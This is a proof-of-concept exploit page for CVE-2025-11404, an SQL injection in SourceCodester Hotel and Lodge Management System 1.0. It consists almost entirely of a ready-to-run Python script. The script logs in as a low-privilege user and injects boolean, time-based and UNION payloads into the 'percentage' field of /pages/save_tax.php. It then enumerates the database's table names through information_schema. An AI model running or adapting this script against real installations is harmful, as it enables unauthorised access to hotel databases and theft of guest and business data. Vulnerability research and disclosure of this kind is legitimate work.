CVE-2025-11404：SourceCodester酒店管理系统SQL注入漏洞

# CVE-2025-11404 SQL Injection PoC # Target: SourceCodester Hotel and Lodge Management System 1.0 # Vulnerable file: /pages/save_tax.php # Vulnerable parameter: percentage import requests # Target configuration TARGET_URL = "http://target-host.com" LOGIN_URL = f"{TARGET_URL}/login.php" SAVE_TAX_URL = f"{TARGET_URL}/pages/save_tax.php" # Attacker credentials (low privilege account required) USERNAME = "test_user" PASSWORD = "test_password" # Create a session to maintain cookies session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Craft SQL injection payload for the 'percentage' parameter # Boolean-based blind SQL injection test sqli_payload = "1' AND 1=1-- -" # Alternative: Union-based SQL injection to extract data union_payload = "1' UNION SELECT 1,user(),database(),version()-- -" # Alternative: Time-based blind SQL injection time_payload = "1' AND SLEEP(5)-- -" # Step 3: Send the malicious request data = { "percentage": sqli_payload, # Additional parameters may be required depending on the form "tax_name": "test", "submit": "Save" } response = session.post(SAVE_TAX_URL, data=data) # Step 4: Analyze response for SQL injection confirmation if response.status_code == 200: print("[+] Request successful") print(f"[+] Response length: {len(response.text)}") # Check for SQL error messages or data leakage if "error" in response.text.lower() or "sql" in response.text.lower(): print("[!] Possible SQL injection detected in response") else: print(f"[-] Request failed with status code: {response.status_code}") # Step 5: Extract database information using UNION-based injection extract_data = { "percentage": "1' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema=database()-- -", "tax_name": "test", "submit": "Save" } response = session.post(SAVE_TAX_URL, data=extract_data) print(f"[+] Extracted data: {response.text}")